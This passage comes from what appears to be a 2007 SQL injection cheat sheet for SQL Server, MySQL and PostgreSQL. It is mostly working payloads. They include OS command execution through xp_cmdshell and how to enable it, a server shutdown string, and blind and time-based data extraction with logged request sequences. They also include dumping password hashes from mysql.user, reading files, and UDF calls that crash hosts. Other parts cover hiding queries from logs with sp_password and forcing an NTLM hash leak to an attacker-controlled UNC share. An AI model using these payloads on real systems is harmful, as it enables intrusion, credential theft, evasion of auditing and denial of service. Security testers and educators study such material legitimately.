admin'
DECLARE @result int; EXEC @result = xp_cmdshell 'dir
*.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL) IS_SRVROLEMEMBER (Transact-SQL) OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
You can not use sub selects in SQL Server Insert queries.
SQL Injection in LIMIT (M) or ORDER (MSO)
SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL
SELECT 1,'x'/*,10 ;
If injection is in second limit you can comment it out
or use in your union injection
Shutdown SQL Server (S)
When you really pissed off, ';shutdown --
Enabling
xp_cmdshell in SQL Server 2005
By default xp_cmdshell and couple of other
potentially dangerous stored procedures are disabled in SQL Server
2005. If you have admin access then you can enable these.
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
Finding Database Structure in SQL Server (S)
Getting User defined Tables
SELECT name FROM sysobjects WHERE xtype = 'U'
Getting Column Names
SELECT name FROM syscolumns WHERE id =(SELECT id FROM
sysobjects WHERE name = 'tablenameforcolumnnames')
Moving records (S)
Modify WHERE and use NOT IN or
NOT EXIST,
... WHERE users NOT IN ('First User', 'Second
User')
SELECT TOP 1 name FROM members WHERE NOT
EXIST(SELECT TOP 0 name FROM members) -- very good
one
Using Dirty Tricks
SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name
from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE
i.id<=o.id) AS x, name from sysobjects o) as p where
p.x=3) as int
Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM
sysobjects i WHERE xtype='U' and i.id<=o.id) AS x,
name from sysobjects o WHERE o.xtype = 'U') as p where
p.x=21
Fast way to extract data from Error Based SQL Injections in SQL
Server (S)
';BEGIN DECLARE @rt varchar(8000) SET
@rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT
id FROM sysobjects WHERE name = 'MEMBERS') AND
name>@rd SELECT @rd AS rd into TMP_SYS_TMP
end;--
Blind SQL Injections
About Blind SQL Injections
In a quite good production application generally
you can not see error responses on the page, so
you can not extract data through Union attacks or error based
attacks. You have to do use Blind SQL Injections attacks to extract
data. There are two kind of Blind Sql Injections.
Normal Blind, You can not see a
response in the page but you can still determine result of a query
from response or HTTP status code
Totally Blind, You can not see any difference in
the output in any kind. This can be an injection a logging function
or similar. Not so common though.
In normal blinds you can use if
statements or abuse WHERE query in
injection (generally easier), in totally blinds
you need to use some waiting functions and analyze response times.
For this you can use WAIT FOR DELAY '0:0:10' in
SQL Server, BENCHMARK() in MySQL, pg_sleep(10) in
PostgreSQL, and some PL/SQL tricks in ORACLE.
Real and
a bit Complex Blind SQL Injection Attack Sample
This output taken from a real private Blind SQL
Injection tool while exploiting SQL Server back ended application
and enumerating table names. This requests done for first char of
the first table name. SQL queries a bit more complex then
requirement because of automation reasons. In we are trying to
determine an ascii value of a char via binary search algorithm.
TRUE and
FALSE flags mark queries returned true or
false.
TRUE : SELECT ID, Username, Email FROM
[User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name
FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name
FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>78--
FALSE : SELECT ID, Username, Email FROM
[User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name
FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name
FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>103--
TRUE : SELECT ID, Username, Email FROM [User]WHERE
ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM
sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM
sysObjects WHERE xtYpe=0x55)),1,1)),0)<103--
FALSE : SELECT ID, Username, Email FROM
[User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name
FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name
FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>89--
TRUE : SELECT ID, Username, Email FROM [User]WHERE
ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM
sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM
sysObjects WHERE xtYpe=0x55)),1,1)),0)<89--
FALSE : SELECT ID, Username, Email FROM
[User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name
FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name
FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>83--
TRUE : SELECT ID, Username, Email FROM [User]WHERE
ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM
sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM
sysObjects WHERE xtYpe=0x55)),1,1)),0)<83--
FALSE : SELECT ID, Username, Email FROM
[User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name
FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name
FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>80--
FALSE : SELECT ID, Username, Email FROM
[User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name
FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name
FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)<80--
Since both of the last 2 queries
failed we clearly know table name's first char's
ascii value is 80 which means first char is `P`.
This is the way to exploit Blind SQL injections by binary search
algorithm. Other well known way is reading data bit by bit. Both
can be effective in different conditions.
Waiting For Blind SQL Injections
First of all use this if it's really blind, otherwise just use
1/0 style errors to identify difference. Second, be careful while
using times more than 20-30 seconds. database API connection or
script can be timeout.
WAIT FOR DELAY 'time' (S)
This is just like sleep, wait for spesified time. CPU safe way
to make database wait.
WAITFOR DELAY '0:0:10'--
Also you can use fractions like this,
WAITFOR DELAY '0:0:0.51'
Real World Samples
Are we 'sa' ?
if (select user) = 'sa' waitfor delay '0:0:10'
ProductID = 1;waitfor delay '0:0:10'--
ProductID =1);waitfor delay '0:0:10'--
ProductID =1';waitfor delay '0:0:10'--
ProductID =1');waitfor delay '0:0:10'--
ProductID =1));waitfor delay '0:0:10'--
ProductID =1'));waitfor delay '0:0:10'--
BENCHMARK() (M)
Basically we are abusing this command to make MySQL wait a bit.
Be careful you will consume web servers limit so fast!
BENCHMARK(howmanytimes, do this)
Real World Samples
Are we root ? woot!
IF EXISTS (SELECT * FROM users WHERE username = 'root')
BENCHMARK(1000000000,MD5(1))
Check Table exist in MySQL
IF (SELECT * FROM login)
BENCHMARK(1000000,MD5(1))
pg_sleep(seconds) (P)
Sleep for supplied seconds.
SELECT pg_sleep(10);
Sleep 10 seconds.
Covering Tracks
SQL Server -sp_password log bypass (S)
SQL Server don't log queries which includes sp_password for
security reasons(!). So if you add --sp_password to your queries it
will not be in SQL Server logs (of course still will be in web
server logs, try to use POST if it's possible)
Clear SQL Injection Tests
These tests are simply good for blind sql injection and silent
attacks.
product.asp?id=4 (SMO)
product.asp?id=5-1
product.asp?id=4 OR 1=1
product.asp?name=Book
product.asp?name=Bo’+’ok
product.asp?name=Bo’ || ’ok (OM)
product.asp?name=Book’ OR ‘x’=’x
Some Extra MySQL Notes
Sub Queries are working only MySQL 4.1+
Users
SELECT User,Password FROM mysql.user;
SELECT 1,1 UNION SELECT
IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0)
User,Password FROM mysql.user WHERE User = ‘root’;
SELECT ... INTO
DUMPFILE
Write query into a
new file (can not modify existing
files)
UDF Function
create function LockWorkStation returns integer soname
'user32';
select LockWorkStation();
create function ExitProcess returns integer soname
'kernel32';
select exitprocess();
SELECT USER();
SELECT password,USER() FROM mysql.user;
First byte of admin hash
SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE
user_group = 1;
Read File
query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
MySQL Load Data inifile
By default it’s not avaliable !
create table foo( line blob );
load data infile 'c:/boot.ini' into table foo;
select * from foo;
More Timing in MySQL
select benchmark( 500000, sha1( 'test' ) );
query.php?user=1+union+select+benchmark(500000,sha1
(0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
select if( user() like 'root@%',
benchmark(100000,sha1('test')), 'false' );
Enumeration data, Guessed Brute Force
select if( (ascii(substring(user(),1,1))
>> 7) & 1,
benchmark(100000,sha1('test')), 'false' );
Potentially Useful MySQL Functions
MD5()
MD5 Hashing
SHA1()
SHA1 Hashing
PASSWORD()
ENCODE()
COMPRESS()
Compress data, can be great in large binary
reading in Blind SQL Injections.
ROW_COUNT()
SCHEMA()
VERSION()
Same as @@version
Second Order SQL Injections
Basically you put an SQL Injection to some place and expect it's
unfiltered in another action. This is common hidden layer
problem.
Name : ' + (SELECT TOP 1 password FROM users ) +
'
Email :
If application is using name field in an unsafe stored procedure
or function, process etc. then it will insert first users password
as your name etc.
Forcing SQL Server to get NTLM Hashes
This attack can help you to get SQL Server user's
Windows password of target server, but possibly you inbound
connection will be firewalled. Can be very useful internal
penetration tests. We force SQL Server to connect our Windows UNC
Share and capture data NTLM session with a tool like Cain
& Abel.
Bulk insert from a UNC Share (S)
bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'
Check out Bulk Insert Reference to understand how
can you use bulk insert.
References
Since these notes collected from several different sources
within several years and personal experiences, may I missed some
references. If you believe I missed yours or someone else then
drop me an email
(ferruh-at-mavituna.com), I'll update it as soon as
possible.
ChangeLog
15/03/2007 - Public Release v1.0
16/03/2007 - v1.1
Links added for some paper and book references
Collation sample added
Some typos fixed
Styles and Formatting improved
New MySQL version and comment samples
PostgreSQL Added to Ascii and legends, pg_sleep() added blind
section
Blind SQL Injection section and improvements, new samples
Reference paper added for MySQL comments
21/03/2007 - v1.2
BENCHMARK() sample changed to avoid people DoS their MySQL
Servers
More Formatting and Typo
Descriptions for some MySQL Function
30/03/2007 v1.3
Niko pointed out PotsgreSQL and PHP supports stacked
queries
Bypassing second MD5 check login screens description and attack
added
Mark came with extracting NTLM session idea, added
Detailed Blind SQL Exploitation added
13/04/2007 v1.4 - Release
SQL Server 2005 enabling xp_cmdshell added (trick learned
from mark)
To Do / Contact / Help
I got lots of notes for ORACLE, PostgreSQL, DB2 and MS Access
and some of undocumented tricks in here. They will be available
soon I hope. If you want to help or send a new trick, not here
thing just drop me
an email (ferruh-at-mavituna.com).